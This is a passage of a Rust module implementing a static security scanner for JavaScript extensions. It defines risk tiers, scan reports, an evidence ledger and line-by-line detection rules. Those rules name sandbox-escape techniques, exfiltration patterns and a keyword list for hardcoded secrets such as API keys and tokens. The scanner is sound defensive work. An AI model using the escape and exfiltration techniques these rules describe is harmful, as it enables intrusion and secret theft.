1009            Self::NewFunctionUsage => "new-function-usage",
1010            Self::ProcessBinding => "process-binding",
1011            Self::ProcessDlopen => "process-dlopen",
1012            Self::ProtoPollution => "proto-pollution",
1013            Self::RequireCacheManip => "require-cache-manipulation",
1014            Self::HardcodedSecret => "hardcoded-secret",
1015            Self::DynamicImport => "dynamic-import",
1016            Self::DefinePropertyAbuse => "define-property-abuse",
1017            Self::NetworkExfiltration => "network-exfiltration",
1018            Self::SensitivePathWrite => "sensitive-path-write",
1019            Self::ProcessEnvAccess => "process-env-access",
1020            Self::TimerAbuse => "timer-abuse",
1021            Self::ProxyReflect => "proxy-reflect",
1022            Self::WithStatement => "with-statement",
1023            Self::DebuggerStatement => "debugger-statement",
1024            Self::ConsoleInfoLeak => "console-info-leak",
1025            Self::ChildProcessSpawn => "child-process-spawn",
1026            Self::ConstructorEscape => "constructor-escape",
1027            Self::NativeModuleRequire => "native-module-require",
1028            Self::GlobalMutation => "global-mutation",
1029            Self::SymlinkCreation => "symlink-creation",
1030            Self::PermissionChange => "permission-change",
1031            Self::SocketListener => "socket-listener",
1032            Self::WebAssemblyUsage => "webassembly-usage",
1033            Self::ArgumentsCallerAccess => "arguments-caller-access",
1034            Self::ScanInputFailure => "scan-input-failure",
1035        }
1036    }
1037
1038    /// Default risk tier for this rule.
1039    #[must_use]
1040    pub const fn default_tier(self) -> RiskTier {
1041        if matches!(
1042            self,
1043            Self::EvalUsage
1044                | Self::NewFunctionUsage
1045                | Self::ProcessBinding
1046                | Self::ProcessDlopen
1047                | Self::ProtoPollution
1048                | Self::RequireCacheManip
1049                | Self::ChildProcessSpawn
1050                | Self::ConstructorEscape
1051                | Self::NativeModuleRequire
1052        ) {
1053            RiskTier::Critical
1054        } else if matches!(
1055            self,
1056            Self::HardcodedSecret
1057                | Self::DynamicImport
1058                | Self::DefinePropertyAbuse
1059                | Self::NetworkExfiltration
1060                | Self::SensitivePathWrite
1061                | Self::GlobalMutation
1062                | Self::SymlinkCreation
1063                | Self::PermissionChange
1064                | Self::SocketListener
1065                | Self::WebAssemblyUsage
1066        ) {
1067            RiskTier::High
1068        } else if matches!(
1069            self,
1070            Self::ProcessEnvAccess
1071                | Self::TimerAbuse
1072                | Self::ProxyReflect
1073                | Self::WithStatement
1074                | Self::ArgumentsCallerAccess
1075        ) {
1076            RiskTier::Medium
1077        } else if matches!(self, Self::ScanInputFailure) {
1078            RiskTier::High
1079        } else {
1080            RiskTier::Low
1081        }
1082    }
1083}
1084
1085impl fmt::Display for SecurityRuleId {
1086    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1087        f.write_str(self.name())
1088    }
1089}
1090
1091/// Risk tier for security findings.  Ordered from most to least severe so
1092/// the `Ord` derive gives the correct comparison direction.
1093#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
1094#[serde(rename_all = "snake_case")]
1095pub enum RiskTier {
1096    /// Immediate block — active exploit vector.
1097    Critical,
1098    /// Likely dangerous — should block by default.
1099    High,
1100    /// Suspicious — warrants review.
1101    Medium,
1102    /// Informational risk — monitor.
1103    Low,
1104}
1105
1106impl fmt::Display for RiskTier {
1107    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1108        match self {
1109            Self::Critical => f.write_str("critical"),
1110            Self::High => f.write_str("high"),
1111            Self::Medium => f.write_str("medium"),
1112            Self::Low => f.write_str("low"),
1113        }
1114    }
1115}
1116
1117/// A single security finding from static analysis.
1118#[derive(Debug, Clone, Serialize, Deserialize)]
1119pub struct SecurityFinding {
1120    /// Stable rule identifier.
1121    pub rule_id: SecurityRuleId,
1122    /// Risk tier (may differ from `rule_id.default_tier()` if context
1123    /// modifies severity).
1124    pub risk_tier: RiskTier,
1125    /// Human-readable rationale for the finding.
1126    pub rationale: String,
1127    /// Source file path (relative to extension root).
1128    #[serde(default, skip_serializing_if = "Option::is_none")]
1129    pub file: Option<String>,
1130    /// 1-based line number.
1131    #[serde(default, skip_serializing_if = "Option::is_none")]
1132    pub line: Option<usize>,
1133    /// 1-based column number.
1134    #[serde(default, skip_serializing_if = "Option::is_none")]
1135    pub column: Option<usize>,
1136    /// Matched source snippet (trimmed).
1137    #[serde(default, skip_serializing_if = "Option::is_none")]
1138    pub snippet: Option<String>,
1139}
1140
1141/// Aggregate risk classification for an extension.
1142#[derive(Debug, Clone, Serialize, Deserialize)]
1143pub struct SecurityScanReport {
1144    /// Schema version.
1145    pub schema: String,
1146    /// Extension identifier.
1147    pub extension_id: String,
1148    /// Overall risk tier (worst finding).
1149    pub overall_tier: RiskTier,
1150    /// Counts per tier.
1151    pub tier_counts: SecurityTierCounts,
1152    /// Individual findings sorted by tier (worst first).
1153    pub findings: Vec<SecurityFinding>,
1154    /// Human-readable one-line verdict.
1155    pub verdict: String,
1156    /// Rulebook version that produced this report.
1157    pub rulebook_version: String,
1158}
1159
1160/// Counts by risk tier.
1161#[derive(Debug, Clone, Default, Serialize, Deserialize)]
1162pub struct SecurityTierCounts {
1163    pub critical: usize,
1164    pub high: usize,
1165    pub medium: usize,
1166    pub low: usize,
1167}
1168
1169/// Current rulebook version. Bump when rules are added or changed.
1170///
1171/// v2.1.0: Added SEC-SCAN-001 so missing/unreadable extension paths fail closed.
1172/// v2.0.0: Added 9 rules (SEC-SPAWN-001, SEC-CONSTRUCTOR-001, SEC-NATIVEMOD-001,
1173///   SEC-GLOBAL-001, SEC-SYMLINK-001, SEC-CHMOD-001, SEC-SOCKET-001,
1174///   SEC-WASM-001, SEC-ARGUMENTS-001). Stabilized deterministic sort order.
1175pub const SECURITY_RULEBOOK_VERSION: &str = "2.1.0";
1176
1177impl SecurityScanReport {
1178    /// Build from a list of findings.
1179    ///
1180    /// Findings are sorted deterministically: first by risk tier (Critical
1181    /// first), then by file path, then by line number, then by rule ID name.
1182    /// This guarantees identical output for identical input regardless of
1183    /// scan traversal order.
1184    #[must_use]
1185    pub fn from_findings(extension_id: String, mut findings: Vec<SecurityFinding>) -> Self {
1186        // Deterministic sort: tier → file → line → column → rule name.
1187        findings.sort_by(|a, b| {
1188            a.risk_tier
1189                .cmp(&b.risk_tier)
1190                .then_with(|| {
1191                    a.file
1192                        .as_deref()
1193                        .unwrap_or("")
1194                        .cmp(b.file.as_deref().unwrap_or(""))
1195                })
1196                .then_with(|| a.line.cmp(&b.line))
1197                .then_with(|| a.column.cmp(&b.column))
1198                .then_with(|| a.rule_id.name().cmp(b.rule_id.name()))
1199        });
1200
1201        let mut counts = SecurityTierCounts::default();
1202        for f in &findings {
1203            match f.risk_tier {
1204                RiskTier::Critical => counts.critical += 1,
1205                RiskTier::High => counts.high += 1,
1206                RiskTier::Medium => counts.medium += 1,
1207                RiskTier::Low => counts.low += 1,
1208            }
1209        }
1210
1211        let overall_tier = findings.first().map_or(RiskTier::Low, |f| f.risk_tier);
1212
1213        let verdict = match overall_tier {
1214            RiskTier::Critical => format!(
1215                "BLOCK: {} critical finding(s) — active exploit vectors detected",
1216                counts.critical
1217            ),
1218            RiskTier::High => format!(
1219                "REVIEW REQUIRED: {} high-risk finding(s) — likely dangerous patterns",
1220                counts.high
1221            ),
1222            RiskTier::Medium => format!(
1223                "CAUTION: {} medium-risk finding(s) — warrants review",
1224                counts.medium
1225            ),
1226            RiskTier::Low if findings.is_empty() => "CLEAN: no security findings".to_string(),
1227            RiskTier::Low => format!("INFO: {} low-risk finding(s) — informational", counts.low),
1228        };
1229
1230        Self {
1231            schema: SECURITY_SCAN_SCHEMA.to_string(),
1232            extension_id,
1233            overall_tier,
1234            tier_counts: counts,
1235            findings,
1236            verdict,
1237            rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1238        }
1239    }
1240
1241    /// Serialize to pretty JSON.
1242    ///
1243    /// # Errors
1244    ///
1245    /// Returns an error if serialization fails.
1246    pub fn to_json(&self) -> Result<String, serde_json::Error> {
1247        serde_json::to_string_pretty(self)
1248    }
1249
1250    /// Whether the report recommends blocking the extension.
1251    #[must_use]
1252    pub const fn should_block(&self) -> bool {
1253        matches!(self.overall_tier, RiskTier::Critical)
1254    }
1255
1256    /// Whether the report recommends manual review.
1257    #[must_use]
1258    pub const fn needs_review(&self) -> bool {
1259        matches!(self.overall_tier, RiskTier::Critical | RiskTier::High)
1260    }
1261}
1262
1263// ============================================================================
1264// Evidence ledger for correlation with runtime behavior
1265// ============================================================================
1266
1267/// Schema version for the security evidence ledger.
1268pub const SECURITY_EVIDENCE_LEDGER_SCHEMA: &str = "pi.ext.security_evidence_ledger.v1";
1269
1270/// A single evidence entry for the security ledger. Designed for JSONL
1271/// serialization so it can be correlated with runtime hostcall telemetry.
1272#[derive(Debug, Clone, Serialize, Deserialize)]
1273pub struct SecurityEvidenceLedgerEntry {
1274    pub schema: String,
1275    /// Monotonic entry index within this scan.
1276    pub entry_index: usize,
1277    /// Extension identifier.
1278    pub extension_id: String,
1279    /// Rule ID that fired.
1280    pub rule_id: SecurityRuleId,
1281    /// Risk tier.
1282    pub risk_tier: RiskTier,
1283    /// Human-readable rationale.
1284    pub rationale: String,
1285    /// Source file (relative).
1286    #[serde(default, skip_serializing_if = "Option::is_none")]
1287    pub file: Option<String>,
1288    /// 1-based line.
1289    #[serde(default, skip_serializing_if = "Option::is_none")]
1290    pub line: Option<usize>,
1291    /// 1-based column.
1292    #[serde(default, skip_serializing_if = "Option::is_none")]
1293    pub column: Option<usize>,
1294    /// Rulebook version.
1295    pub rulebook_version: String,
1296}
1297
1298impl SecurityEvidenceLedgerEntry {
1299    /// Convert a `SecurityFinding` into a ledger entry.
1300    #[must_use]
1301    pub fn from_finding(entry_index: usize, extension_id: &str, finding: &SecurityFinding) -> Self {
1302        Self {
1303            schema: SECURITY_EVIDENCE_LEDGER_SCHEMA.to_string(),
1304            entry_index,
1305            extension_id: extension_id.to_string(),
1306            rule_id: finding.rule_id,
1307            risk_tier: finding.risk_tier,
1308            rationale: finding.rationale.clone(),
1309            file: finding.file.clone(),
1310            line: finding.line,
1311            column: finding.column,
1312            rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1313        }
1314    }
1315}
1316
1317/// Produce a JSONL evidence ledger from a security scan report.
1318///
1319/// # Errors
1320///
1321/// Returns an error if serialization of any entry fails.
1322pub fn security_evidence_ledger_jsonl(
1323    report: &SecurityScanReport,
1324) -> Result<String, serde_json::Error> {
1325    let mut out = String::new();
1326    for (i, finding) in report.findings.iter().enumerate() {
1327        let entry = SecurityEvidenceLedgerEntry::from_finding(i, &report.extension_id, finding);
1328        if i > 0 {
1329            out.push('\n');
1330        }
1331        out.push_str(&serde_json::to_string(&entry)?);
1332    }
1333    Ok(out)
1334}
1335
1336// ============================================================================
1337// Security scanner implementation
1338// ============================================================================
1339
1340/// Scans extension source for security-sensitive patterns and produces a
1341/// deterministic risk classification report.
1342pub struct SecurityScanner;
1343
1344impl SecurityScanner {
1345    const fn scan_input_failure_finding(
1346        file: Option<String>,
1347        rationale: String,
1348    ) -> SecurityFinding {
1349        SecurityFinding {
1350            rule_id: SecurityRuleId::ScanInputFailure,
1351            risk_tier: SecurityRuleId::ScanInputFailure.default_tier(),
1352            rationale,
1353            file,
1354            line: None,
1355            column: None,
1356            snippet: None,
1357        }
1358    }
1359
1360    /// Scan raw source text and produce a security scan report.
1361    #[must_use]
1362    pub fn scan_source(extension_id: &str, source: &str) -> SecurityScanReport {
1363        let mut findings = Vec::new();
1364
1365        for (idx, line) in source.lines().enumerate() {
1366            let line_no = idx + 1;
1367            let trimmed = line.trim();
1368
1369            // Skip empty lines and full-line comments.
1370            if trimmed.is_empty()
1371                || trimmed.starts_with("//")
1372                || trimmed.starts_with('*')
1373                || trimmed.starts_with("/*")
1374            {
1375                continue;
1376            }
1377
1378            Self::scan_line(trimmed, line_no, &mut findings);
1379        }
1380
1381        SecurityScanReport::from_findings(extension_id.to_string(), findings)
1382    }
1383
1384    /// Scan extension files under a directory.
1385    pub fn scan_path(extension_id: &str, path: &Path, root: &Path) -> SecurityScanReport {
1386        if !path.exists() {
1387            return SecurityScanReport::from_findings(
1388                extension_id.to_string(),
1389                vec![Self::scan_input_failure_finding(
1390                    Some(path.display().to_string()),
1391                    format!(
1392                        "Extension path does not exist, so the security scan could not inspect any source: {}",
1393                        path.display()
1394                    ),
1395                )],
1396            );
1397        }
1398
1399        let files = match collect_scannable_files(path) {
1400            Ok(files) => files,
1401            Err(err) => {
1402                return SecurityScanReport::from_findings(
1403                    extension_id.to_string(),
1404                    vec![Self::scan_input_failure_finding(
1405                        Some(path.display().to_string()),
1406                        format!(
1407                            "Failed to enumerate extension source at {}: {err}",
1408                            path.display()
1409                        ),
1410                    )],
1411                );
1412            }
1413        };
1414        let mut findings = Vec::new();
1415
1416        for file_path in &files {
1417            let rel = relative_posix_path(root, file_path);
1418            let content = match std::fs::read_to_string(file_path) {
1419                Ok(content) => content,
1420                Err(err) => {
1421                    findings.push(Self::scan_input_failure_finding(
1422                        Some(rel),
1423                        format!(
1424                            "Failed to read extension source at {}: {err}",
1425                            file_path.display()
1426                        ),
1427                    ));
1428                    continue;
1429                }
1430            };
1431            let mut in_block_comment = false;
1432
1433            for (idx, raw_line) in content.lines().enumerate() {
1434                let line_no = idx + 1;
1435
1436                // Track block comments.
1437                let line = strip_block_comment_tracking(raw_line, &mut in_block_comment);
1438                let trimmed = line.trim();
1439
1440                if trimmed.is_empty() || trimmed.starts_with("//") || trimmed.starts_with('*') {
1441                    continue;
1442                }
1443
1444                Self::scan_line_with_file(trimmed, line_no, &rel, &mut findings);
1445            }
1446        }
1447
1448        SecurityScanReport::from_findings(extension_id.to_string(), findings)
1449    }
1450
1451    fn scan_line(text: &str, line_no: usize, findings: &mut Vec<SecurityFinding>) {
1452        Self::scan_line_with_file(text, line_no, "", findings);
1453    }
1454
1455    #[allow(clippy::too_many_lines)]
1456    fn scan_line_with_file(
1457        text: &str,
1458        line_no: usize,
1459        file: &str,
1460        findings: &mut Vec<SecurityFinding>,
1461    ) {
1462        let file_opt = if file.is_empty() {
1463            None
1464        } else {
1465            Some(file.to_string())
1466        };
1467
1468        // ---- Critical tier ----
1469
1470        // SEC-EVAL-001: eval() usage (not in string or property name).
1471        if contains_eval_call(text) {
1472            findings.push(SecurityFinding {
1473                rule_id: SecurityRuleId::EvalUsage,
1474                risk_tier: RiskTier::Critical,
1475                rationale: "eval() enables arbitrary code execution at runtime".to_string(),
1476                file: file_opt.clone(),
1477                line: Some(line_no),
1478                column: text.find("eval(").map(|c| c + 1),
1479                snippet: Some(truncate_snippet(text)),
1480            });
1481        }
1482
1483        // SEC-FUNC-001: new Function(...).
1484        if text.contains("new Function") && !text.contains("new Function()") {
1485            findings.push(SecurityFinding {
1486                rule_id: SecurityRuleId::NewFunctionUsage,
1487                risk_tier: RiskTier::Critical,
1488                rationale: "new Function() creates code from strings, enabling injection"
1489                    .to_string(),
1490                file: file_opt.clone(),
1491                line: Some(line_no),
1492                column: text.find("new Function").map(|c| c + 1),
1493                snippet: Some(truncate_snippet(text)),
1494            });
1495        }
1496
1497        // SEC-BIND-001: process.binding().
1498        if text.contains("process.binding") {
1499            findings.push(SecurityFinding {
1500                rule_id: SecurityRuleId::ProcessBinding,
1501                risk_tier: RiskTier::Critical,
1502                rationale: "process.binding() accesses internal Node.js C++ bindings".to_string(),
1503                file: file_opt.clone(),
1504                line: Some(line_no),
1505                column: text.find("process.binding").map(|c| c + 1),
1506                snippet: Some(truncate_snippet(text)),
1507            });
1508        }
1509
1510        // SEC-DLOPEN-001: process.dlopen().
1511        if text.contains("process.dlopen") {
1512            findings.push(SecurityFinding {
1513                rule_id: SecurityRuleId::ProcessDlopen,
1514                risk_tier: RiskTier::Critical,
1515                rationale: "process.dlopen() loads native addons, bypassing sandbox".to_string(),
1516                file: file_opt.clone(),
1517                line: Some(line_no),
1518                column: text.find("process.dlopen").map(|c| c + 1),
1519                snippet: Some(truncate_snippet(text)),
1520            });
1521        }
1522
1523        // SEC-PROTO-001: __proto__ assignment.
1524        if text.contains("__proto__") || text.contains("Object.setPrototypeOf") {
1525            findings.push(SecurityFinding {
1526                rule_id: SecurityRuleId::ProtoPollution,
1527                risk_tier: RiskTier::Critical,
1528                rationale: "Prototype manipulation can pollute shared object chains".to_string(),
1529                file: file_opt.clone(),
1530                line: Some(line_no),
1531                column: text
1532                    .find("__proto__")
1533                    .or_else(|| text.find("Object.setPrototypeOf"))
1534                    .map(|c| c + 1),
1535                snippet: Some(truncate_snippet(text)),
1536            });
1537        }
1538
1539        // SEC-RCACHE-001: require.cache manipulation.
1540        if text.contains("require.cache") {
1541            findings.push(SecurityFinding {
1542                rule_id: SecurityRuleId::RequireCacheManip,
1543                risk_tier: RiskTier::Critical,
1544                rationale: "require.cache manipulation can hijack module resolution".to_string(),
1545                file: file_opt.clone(),
1546                line: Some(line_no),
1547                column: text.find("require.cache").map(|c| c + 1),
1548                snippet: Some(truncate_snippet(text)),
1549            });
1550        }
1551
1552        // ---- High tier ----
1553
1554        // SEC-SECRET-001: hardcoded secrets.
1555        if contains_hardcoded_secret(text) {
1556            findings.push(SecurityFinding {
1557                rule_id: SecurityRuleId::HardcodedSecret,
1558                risk_tier: RiskTier::High,
1559                rationale: "Potential hardcoded secret or API key detected".to_string(),
1560                file: file_opt.clone(),
1561                line: Some(line_no),
1562                column: None,
1563                snippet: Some(truncate_snippet(text)),
1564            });
1565        }
1566
1567        // SEC-DIMPORT-001: dynamic import().
1568        if contains_dynamic_import(text) {
1569            findings.push(SecurityFinding {
1570                rule_id: SecurityRuleId::DynamicImport,
1571                risk_tier: RiskTier::High,
1572                rationale: "Dynamic import() can load arbitrary modules at runtime".to_string(),
1573                file: file_opt.clone(),
1574                line: Some(line_no),
1575                column: text.find("import(").map(|c| c + 1),
1576                snippet: Some(truncate_snippet(text)),
1577            });
1578        }
1579
1580        // SEC-DEFPROP-001: Object.defineProperty on global/prototype.
1581        if text.contains("Object.defineProperty")
1582            && (text.contains("globalThis")
1583                || text.contains("global.")
1584                || text.contains("prototype"))
1585        {
1586            findings.push(SecurityFinding {
1587                rule_id: SecurityRuleId::DefinePropertyAbuse,
1588                risk_tier: RiskTier::High,
1589                rationale: "Object.defineProperty on global/prototype can intercept operations"
1590                    .to_string(),
1591                file: file_opt.clone(),
1592                line: Some(line_no),
1593                column: text.find("Object.defineProperty").map(|c| c + 1),
1594                snippet: Some(truncate_snippet(text)),
1595            });
1596        }
1597
1598        // SEC-EXFIL-001: Network exfiltration patterns.
1599        if contains_exfiltration_pattern(text) {
1600            findings.push(SecurityFinding {
1601                rule_id: SecurityRuleId::NetworkExfiltration,
1602                risk_tier: RiskTier::High,
1603                rationale: "Potential data exfiltration via constructed network request"
1604                    .to_string(),
1605                file: file_opt.clone(),
1606                line: Some(line_no),
1607                column: None,
1608                snippet: Some(truncate_snippet(text)),
1609            });
1610        }
1611
1612        // SEC-FSSENS-001: Writes to sensitive paths.
1613        if contains_sensitive_path_write(text) {
1614            findings.push(SecurityFinding {
1615                rule_id: SecurityRuleId::SensitivePathWrite,
1616                risk_tier: RiskTier::High,
1617                rationale: "Write to security-sensitive filesystem path detected".to_string(),
1618                file: file_opt.clone(),
1619                line: Some(line_no),
1620                column: None,
1621                snippet: Some(truncate_snippet(text)),
1622            });
1623        }
1624
1625        // ---- Medium tier ----
1626
1627        // SEC-ENV-001: process.env access.
1628        if text.contains("process.env") {
1629            findings.push(SecurityFinding {
1630                rule_id: SecurityRuleId::ProcessEnvAccess,
1631                risk_tier: RiskTier::Medium,
1632                rationale: "process.env access may expose secrets or configuration".to_string(),
1633                file: file_opt.clone(),
1634                line: Some(line_no),
1635                column: text.find("process.env").map(|c| c + 1),
1636                snippet: Some(truncate_snippet(text)),
1637            });
1638        }
1639
1640        // SEC-TIMER-001: Timer abuse (very short intervals).
1641        if contains_timer_abuse(text) {
1642            findings.push(SecurityFinding {
1643                rule_id: SecurityRuleId::TimerAbuse,
1644                risk_tier: RiskTier::Medium,
1645                rationale: "Very short timer interval may indicate resource abuse".to_string(),
1646                file: file_opt.clone(),
1647                line: Some(line_no),
1648                column: None,
1649                snippet: Some(truncate_snippet(text)),
1650            });
1651        }
1652
1653        // SEC-PROXY-001: Proxy/Reflect usage.
1654        if text.contains("new Proxy") || text.contains("Reflect.") {
1655            findings.push(SecurityFinding {
1656                rule_id: SecurityRuleId::ProxyReflect,
1657                risk_tier: RiskTier::Medium,
1658                rationale: "Proxy/Reflect can intercept and modify object operations transparently"
1659                    .to_string(),
1660                file: file_opt.clone(),
1661                line: Some(line_no),
1662                column: text
1663                    .find("new Proxy")
1664                    .or_else(|| text.find("Reflect."))
1665                    .map(|c| c + 1),
1666                snippet: Some(truncate_snippet(text)),
1667            });
1668        }
1669
1670        // SEC-WITH-001: with statement.
1671        if contains_with_statement(text) {
1672            findings.push(SecurityFinding {
1673                rule_id: SecurityRuleId::WithStatement,
1674                risk_tier: RiskTier::Medium,
1675                rationale:
1676                    "with statement modifies scope chain, making variable resolution unpredictable"
1677                        .to_string(),
1678                file: file_opt.clone(),
1679                line: Some(line_no),
1680                column: text.find("with").map(|c| c + 1),
1681                snippet: Some(truncate_snippet(text)),
1682            });
1683        }
1684
1685        // ---- Low tier ----
1686
1687        // SEC-DEBUG-001: debugger statement.
1688        if text.contains("debugger") && is_debugger_statement(text) {
1689            findings.push(SecurityFinding {
1690                rule_id: SecurityRuleId::DebuggerStatement,
1691                risk_tier: RiskTier::Low,
1692                rationale: "debugger statement left in production code".to_string(),
1693                file: file_opt.clone(),
1694                line: Some(line_no),
1695                column: text.find("debugger").map(|c| c + 1),
1696                snippet: Some(truncate_snippet(text)),
1697            });
1698        }
1699
1700        // SEC-CONSOLE-001: console.error/warn with interpolated values.
1701        if contains_console_info_leak(text) {
1702            findings.push(SecurityFinding {
1703                rule_id: SecurityRuleId::ConsoleInfoLeak,
1704                risk_tier: RiskTier::Low,
1705                rationale: "Console output may leak sensitive information".to_string(),
1706                file: file_opt.clone(),
1707                line: Some(line_no),
1708                column: text.find("console.").map(|c| c + 1),
1709                snippet: Some(truncate_snippet(text)),
1710            });
1711        }
1712
1713        // ==== Rules added in rulebook v2.0.0 ====
1714
1715        // ---- Critical tier (v2) ----
1716
1717        // SEC-SPAWN-001: child_process command execution.
1718        if contains_child_process_spawn(text) {
1719            findings.push(SecurityFinding {
1720                rule_id: SecurityRuleId::ChildProcessSpawn,
1721                risk_tier: RiskTier::Critical,
1722                rationale: "child_process command execution enables arbitrary system commands"
1723                    .to_string(),
1724                file: file_opt.clone(),
1725                line: Some(line_no),
1726                column: find_child_process_column(text),
1727                snippet: Some(truncate_snippet(text)),
1728            });
1729        }
1730
1731        // SEC-CONSTRUCTOR-001: constructor.constructor sandbox escape.
1732        if text.contains("constructor.constructor") || text.contains("constructor[\"constructor\"]")
1733        {
1734            findings.push(SecurityFinding {
1735                rule_id: SecurityRuleId::ConstructorEscape,
1736                risk_tier: RiskTier::Critical,
1737                rationale:
1738                    "constructor.constructor() can escape sandbox by accessing Function constructor"
1739                        .to_string(),
1740                file: file_opt.clone(),
1741                line: Some(line_no),
1742                column: text
1743                    .find("constructor.constructor")
1744                    .or_else(|| text.find("constructor[\"constructor\"]"))
1745                    .map(|c| c + 1),
1746                snippet: Some(truncate_snippet(text)),
1747            });
1748        }
1749
1750        // SEC-NATIVEMOD-001: native module require (.node/.so/.dylib).
1751        if contains_native_module_require(text) {
1752            findings.push(SecurityFinding {
1753                rule_id: SecurityRuleId::NativeModuleRequire,
1754                risk_tier: RiskTier::Critical,
1755                rationale: "Requiring native addon (.node/.so/.dylib) bypasses JS sandbox"
1756                    .to_string(),
1757                file: file_opt.clone(),
1758                line: Some(line_no),
1759                column: text.find("require(").map(|c| c + 1),
1760                snippet: Some(truncate_snippet(text)),
1761            });
1762        }
1763
1764        // ---- High tier (v2) ----
1765
1766        // SEC-GLOBAL-001: globalThis/global property mutation.
1767        if contains_global_mutation(text) {
1768            findings.push(SecurityFinding {
1769                rule_id: SecurityRuleId::GlobalMutation,
1770                risk_tier: RiskTier::High,
1771                rationale: "Mutating globalThis/global properties can escape sandbox scope"
1772                    .to_string(),
1773                file: file_opt.clone(),
1774                line: Some(line_no),
1775                column: text
1776                    .find("globalThis.")
1777                    .or_else(|| text.find("global."))
1778                    .or_else(|| text.find("globalThis["))
1779                    .map(|c| c + 1),
1780                snippet: Some(truncate_snippet(text)),
1781            });
1782        }
1783
1784        // SEC-SYMLINK-001: symlink/link creation.
1785        if contains_symlink_creation(text) {
1786            findings.push(SecurityFinding {
1787                rule_id: SecurityRuleId::SymlinkCreation,
1788                risk_tier: RiskTier::High,
1789                rationale: "Symlink/link creation can enable path traversal attacks".to_string(),
1790                file: file_opt.clone(),
1791                line: Some(line_no),
1792                column: text
1793                    .find("symlink")
1794                    .or_else(|| text.find("link"))
1795                    .map(|c| c + 1),
1796                snippet: Some(truncate_snippet(text)),
1797            });
1798        }
1799
1800        // SEC-CHMOD-001: permission changes.
1801        if contains_permission_change(text) {
1802            findings.push(SecurityFinding {
1803                rule_id: SecurityRuleId::PermissionChange,
1804                risk_tier: RiskTier::High,
1805                rationale: "Changing file permissions can enable privilege escalation".to_string(),
1806                file: file_opt.clone(),
1807                line: Some(line_no),
1808                column: text
1809                    .find("chmod")
1810                    .or_else(|| text.find("chown"))
1811                    .map(|c| c + 1),
1812                snippet: Some(truncate_snippet(text)),
1813            });
1814        }
1815
1816        // SEC-SOCKET-001: network listener creation.
1817        if contains_socket_listener(text) {
1818            findings.push(SecurityFinding {
1819                rule_id: SecurityRuleId::SocketListener,
1820                risk_tier: RiskTier::High,
1821                rationale: "Creating network listeners opens unauthorized server ports".to_string(),
1822                file: file_opt.clone(),
1823                line: Some(line_no),
1824                column: text
1825                    .find("createServer")
1826                    .or_else(|| text.find("createSocket"))
1827                    .map(|c| c + 1),
1828                snippet: Some(truncate_snippet(text)),
1829            });
1830        }
1831
1832        // SEC-WASM-001: WebAssembly usage.
1833        if text.contains("WebAssembly.") {
1834            findings.push(SecurityFinding {
1835                rule_id: SecurityRuleId::WebAssemblyUsage,
1836                risk_tier: RiskTier::High,
1837                rationale: "WebAssembly can execute native code, bypassing JS sandbox controls"
1838                    .to_string(),
1839                file: file_opt.clone(),
1840                line: Some(line_no),
1841                column: text.find("WebAssembly.").map(|c| c + 1),
1842                snippet: Some(truncate_snippet(text)),
1843            });
1844        }
1845
1846        // ---- Medium tier (v2) ----
1847
1848        // SEC-ARGUMENTS-001: arguments.callee.caller introspection.
1849        if text.contains("arguments.callee") || text.contains("arguments.caller") {
1850            findings.push(SecurityFinding {
1851                rule_id: SecurityRuleId::ArgumentsCallerAccess,
1852                risk_tier: RiskTier::Medium,
1853                rationale:
1854                    "arguments.callee/caller enables stack introspection and caller chain walking"
1855                        .to_string(),
1856                file: file_opt,
1857                line: Some(line_no),
1858                column: text
1859                    .find("arguments.callee")
1860                    .or_else(|| text.find("arguments.caller"))
1861                    .map(|c| c + 1),
1862                snippet: Some(truncate_snippet(text)),
1863            });
1864        }
1865    }
1866}
1867
1868// ============================================================================
1869// Pattern detection helpers
1870// ============================================================================
1871
1872const fn is_js_ident_continue(byte: u8) -> bool {
1873    byte.is_ascii_alphanumeric() || matches!(byte, b'_' | b'$')
1874}
1875
1876/// Check for `eval(...)` that isn't in a property name or string context.
1877fn contains_eval_call(text: &str) -> bool {
1878    let mut search = text;
1879    while let Some(pos) = search.find("eval(") {
1880        // Not preceded by a dot (method call on object) or letter (part of
1881        // another identifier like `retrieval`).
1882        if pos == 0
1883            || (!is_js_ident_continue(search.as_bytes()[pos - 1])
1884                && search.as_bytes()[pos - 1] != b'.')
1885        {
1886            return true;
1887        }
1888        search = &search[pos + 5..];
1889    }
1890    false
1891}
1892
1893/// Check for dynamic `import(...)` — not static `import ... from`.
1894fn contains_dynamic_import(text: &str) -> bool {
1895    let trimmed = text.trim();
1896    // Static import statements start with `import` at the beginning.
1897    if trimmed.starts_with("import ") || trimmed.starts_with("import{") {
1898        return false;
1899    }
1900    text.contains("import(")
1901}
1902
1903/// Detect hardcoded secret patterns: API keys, tokens, passwords.
1904fn contains_hardcoded_secret(text: &str) -> bool {
1905    let lower = text.to_ascii_lowercase();
1906    // Look for assignment patterns with secret-like names.
1907    let secret_keywords = [
1908        "api_key",
1909        "apikey",
1910        "api-key",
1911        "secret_key",
1912        "secretkey",
1913        "secret-key",
1914        "password",
1915        "passwd",
1916        "access_token",
1917        "accesstoken",
1918        "private_key",
1919        "privatekey",
1920        "auth_token",
1921        "authtoken",
1922    ];
1923
1924    for kw in &secret_keywords {
1925        if let Some(kw_pos) = lower.find(kw) {
1926            // Check if followed by assignment with a string literal.
1927            let rest = &text[kw_pos + kw.len()..];
1928            let rest_trimmed = rest.trim_start();
1929            if (rest_trimmed.starts_with("=\"")
1930                || rest_trimmed.starts_with("= \"")
1931                || rest_trimmed.starts_with("='")
1932                || rest_trimmed.starts_with("= '")
1933                || rest_trimmed.starts_with(": \"")
1934                || rest_trimmed.starts_with(":\"")
1935                || rest_trimmed.starts_with(": '")
1936                || rest_trimmed.starts_with(":'"))
1937                // Ignore env lookups: process.env.API_KEY
1938                && !lower[..kw_pos].ends_with("process.env.")
1939                && !lower[..kw_pos].ends_with("env.")
1940                // Ignore empty strings.
1941                && !rest_trimmed.starts_with("=\"\"")
1942                && !rest_trimmed.starts_with("= \"\"")
1943                && !rest_trimmed.starts_with("=''")
1944                && !rest_trimmed.starts_with("= ''")
1945            {
1946                return true;
1947            }
1948        }
1949    }
1950
1951    // Also detect common token prefixes (sk-ant-, ghp_, etc.) assigned as literals.
